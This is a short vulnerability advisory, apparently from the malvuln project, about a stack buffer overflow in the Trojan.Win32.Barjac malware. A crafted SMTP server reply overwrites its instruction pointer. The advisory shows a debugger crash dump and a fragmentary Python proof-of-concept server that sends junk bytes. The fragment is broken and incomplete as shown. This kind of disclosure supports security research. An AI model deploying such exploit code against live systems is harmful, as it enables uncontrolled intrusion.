Trojan.Win32.Barjac Remote Stack Buffer Overflow

Trojan.Win32.Barjac malware suffers from a remote stack buffer overflow vulnerability.

MD5 | de7ba11ed626c2d3eb52927ed32f9e6b

Discovery / credits: malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Trojan.Win32.Barjac
Vulnerability: Remote Stack Buffer Overflow.
Description: Trojan.Win32.Barjac makes SMTP connection to Port 25, upon processing the server response we control, we overwrite instruction pointer (EIP), undermining the integrity of the trojan.

Type: PE32
MD5: 62ad686f97faaa68f580d32d25333f51
Vuln ID: MVID-2021-0011
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021

Memory Dump:
EAX : 41414141
EBX : 0404DD00
ECX : 00002736
EDX : 0404DD00
EBP : 0019FE78
ESP : 0019FE50
ESI : 00002736
EDI : 00002733
EIP : 41414141

ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141

CONTEXT: 0019f9f0 -- (.cxr 0x19f9f0)
eax=41414141 ebx=03fddd00 ecx=00002736 edx=03fddd00 esi=00002736 edi=00002733
eip=41414141 esp=0019fe50 ebp=0019fe78 iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293
41414141 ?? ???

import socket

junk = "A"

def doit():
global payload

s = socket.socket()
print("Trojan.Win32.Barjac / Remote Buffer Overflow")
print("MD5: 62ad686f97faaa68f580d32d25333f51")
print("By malvuln")

host = ''
s.bind((host, port))

while True:
conn, addr = s.accept()
except Exception as e:

if __name__=="__main__":

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